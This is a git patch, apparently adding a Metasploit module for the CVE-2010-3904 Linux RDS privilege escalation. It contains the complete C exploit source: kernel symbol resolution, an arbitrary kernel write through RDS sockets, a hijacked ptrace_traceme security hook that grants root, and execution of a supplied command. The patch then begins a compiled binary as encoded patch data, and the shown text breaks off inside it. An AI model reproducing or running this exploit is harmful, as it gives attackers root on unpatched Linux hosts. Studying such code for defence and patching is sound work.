From 3a688451b6a9f5ae6ed9539d9d08faf720a944c9 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Thu, 3 May 2018 12:51:21 +0000 Subject: [PATCH 01/41] Add Reliable Datagram Sockets (RDS) Privilege Escalation --- data/exploits/cve-2010-3904/rds-fail.c | 288 +++++++++++++++++++ data/exploits/cve-2010-3904/rds-fail.x64 | Bin 0 -> 65696 bytes data/exploits/cve-2010-3904/rds-fail.x86 | Bin 0 -> 91488 bytes modules/exploits/linux/local/rds_priv_esc.rb | 183 ++++++++++++ 4 files changed, 471 insertions(+) create mode 100644 data/exploits/cve-2010-3904/rds-fail.c create mode 100644 data/exploits/cve-2010-3904/rds-fail.x64 create mode 100644 data/exploits/cve-2010-3904/rds-fail.x86 create mode 100644 modules/exploits/linux/local/rds_priv_esc.rb diff --git a/data/exploits/cve-2010-3904/rds-fail.c b/data/exploits/cve-2010-3904/rds-fail.c new file mode 100644 index 0000000000..3357def6c7 --- /dev/null +++ b/data/exploits/cve-2010-3904/rds-fail.c @@ -0,0 +1,288 @@ +// source: http://www.vsecurity.com/resources/advisory/20101019-1/ + +/* + * Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit + * CVE-2010-3904 + * by Dan Rosenberg + * + * Copyright 2010 Virtual Security Research, LLC + * + * The handling functions for sending and receiving RDS messages + * use unchecked __copy_*_user_inatomic functions without any + * access checks on user-provided pointers. As a result, by + * passing a kernel address as an iovec base address in recvmsg-style + * calls, a local user can overwrite arbitrary kernel memory, which + * can easily be used to escalate privileges to root. Alternatively, + * an arbitrary kernel read can be performed via sendmsg calls. + * + * This exploit is simple - it resolves a few kernel symbols, + * sets the security_ops to the default structure, then overwrites + * a function pointer (ptrace_traceme) in that structure to point + * to the payload. After triggering the payload, the original + * value is restored. Hard-coding the offset of this function + * pointer is a bit inelegant, but I wanted to keep it simple and + * architecture-independent (i.e. no inline assembly). + * + * The vulnerability is yet another example of why you shouldn't + * allow loading of random packet families unless you actually + * need them. + * + * Greets to spender, kees, taviso, hawkes, team lollerskaters, + * joberheide, bla, sts, and VSR + * + */ + +// Modified for Metasploit (see comments marked 'msf note') + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define RECVPORT 5555 +#define SENDPORT 6666 + +int prep_sock(int port) +{ + + int s, ret; + struct sockaddr_in addr; + + s = socket(PF_RDS, SOCK_SEQPACKET, 0); + + if(s < 0) { + printf("[*] Could not open socket.\n"); + exit(-1); + } + + memset(&addr, 0, sizeof(addr)); + + addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + + ret = bind(s, (struct sockaddr *)&addr, sizeof(addr)); + + if(ret < 0) { + printf("[*] Could not bind socket.\n"); + exit(-1); + } + + return s; + +} + +void get_message(unsigned long address, int sock) +{ + + recvfrom(sock, (void *)address, sizeof(void *), 0, + NULL, NULL); + +} + +void send_message(unsigned long value, int sock) +{ + + int size, ret; + struct sockaddr_in recvaddr; + struct msghdr msg; + struct iovec iov; + unsigned long buf; + + memset(&recvaddr, 0, sizeof(recvaddr)); + + size = sizeof(recvaddr); + + recvaddr.sin_port = htons(RECVPORT); + recvaddr.sin_family = AF_INET; + recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); + + memset(&msg, 0, sizeof(msg)); + + msg.msg_name = &recvaddr; + msg.msg_namelen = sizeof(recvaddr); + msg.msg_iovlen = 1; + + buf = value; + + iov.iov_len = sizeof(buf); + iov.iov_base = &buf; + + msg.msg_iov = &iov; + + ret = sendmsg(sock, &msg, 0); + if(ret < 0) { + printf("[*] Something went wrong sending.\n"); + exit(-1); + } +} + +void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock) +{ + + if(!fork()) { + sleep(1); + send_message(value, sendsock); + exit(1); + } + else { + get_message(addr, recvsock); + wait(NULL); + } + +} + +typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); +typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); +_commit_creds commit_creds; +_prepare_kernel_cred prepare_kernel_cred; + +int __attribute__((regparm(3))) +getroot(void * file, void * vma) +{ + + commit_creds(prepare_kernel_cred(0)); + return -1; + +} + +/* thanks spender... */ +unsigned long get_kernel_sym(char *name) +{ + FILE *f; + unsigned long addr; + char dummy; + char sname[512]; + struct utsname ver; + int ret; + int rep = 0; + int oldstyle = 0; + + f = fopen("/proc/kallsyms", "r"); + if (f == NULL) { + f = fopen("/proc/ksyms", "r"); + if (f == NULL) + goto fallback; + oldstyle = 1; + } + +repeat: + ret = 0; + while(ret != EOF) { + if (!oldstyle) + ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); + else { + ret = fscanf(f, "%p %s\n", (void **)&addr, sname); + if (ret == 2) { + char *p; + if (strstr(sname, "_O/") || strstr(sname, "_S.")) + continue; + p = strrchr(sname, '_'); + if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { + p = p - 4; + while (p > (char *)sname && *(p - 1) == '_') + p--; + *p = '\0'; + } + } + } + if (ret == 0) { + fscanf(f, "%s\n", sname); + continue; + } + if (!strcmp(name, sname)) { + fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); + fclose(f); + return addr; + } + } + + fclose(f); + if (rep) + return 0; +fallback: + /* didn't find the symbol, let's retry with the System.map + dedicated to the pointlessness of Russell Coker's SELinux + test machine (why does he keep upgrading the kernel if + "all necessary security can be provided by SE Linux"?) + */ + uname(&ver); + if (strncmp(ver.release, "2.6", 3)) + oldstyle = 1; + sprintf(sname, "/boot/System.map-%s", ver.release); + f = fopen(sname, "r"); + if (f == NULL) + return 0; + rep = 1; + goto repeat; +} + +int main(int argc, char * argv[]) +{ + unsigned long sec_ops, def_ops, cap_ptrace, target; + int sendsock, recvsock; + struct utsname ver; + + printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n"); + printf("[*] by Dan Rosenberg\n"); + + uname(&ver); + + if(strncmp(ver.release, "2.6.3", 5)) { + printf("[*] Your kernel is not vulnerable.\n"); + return -1; + } + + /* Resolve addresses of relevant symbols */ + printf("[*] Resolving kernel addresses...\n"); + sec_ops = get_kernel_sym("security_ops"); + def_ops = get_kernel_sym("default_security_ops"); + cap_ptrace = get_kernel_sym("cap_ptrace_traceme"); + commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); + prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); + + if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) { + printf("[*] Failed to resolve kernel symbols.\n"); + return -1; + } + + /* Calculate target */ + target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1)); + + sendsock = prep_sock(SENDPORT); + recvsock = prep_sock(RECVPORT); + + /* Reset security ops */ + printf("[*] Overwriting security ops...\n"); + write_to_mem(sec_ops, def_ops, sendsock, recvsock); + + /* Overwrite ptrace_traceme security op fptr */ + printf("[*] Overwriting function pointer...\n"); + write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock); + + /* Trigger the payload */ + printf("[*] Triggering payload...\n"); + ptrace(PTRACE_TRACEME, 1, NULL, NULL); + + /* Restore the ptrace_traceme security op */ + printf("[*] Restoring function pointer...\n"); + write_to_mem(target, cap_ptrace, sendsock, recvsock); + + if(getuid()) { + printf("[*] Exploit failed to get root.\n"); + return -1; + } + + printf("[*] Got root!\n"); + // msf note: modified to execute argv[1] + //execl("/bin/sh", "sh", NULL); + system(argv[1]); + +} diff --git a/data/exploits/cve-2010-3904/rds-fail.x64 b/data/exploits/cve-2010-3904/rds-fail.x64 new file mode 100644 index 0000000000000000000000000000000000000000..b0c0f82d48aeab79ab58d6f5dd485e0b73853439 GIT binary patch literal 65696 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 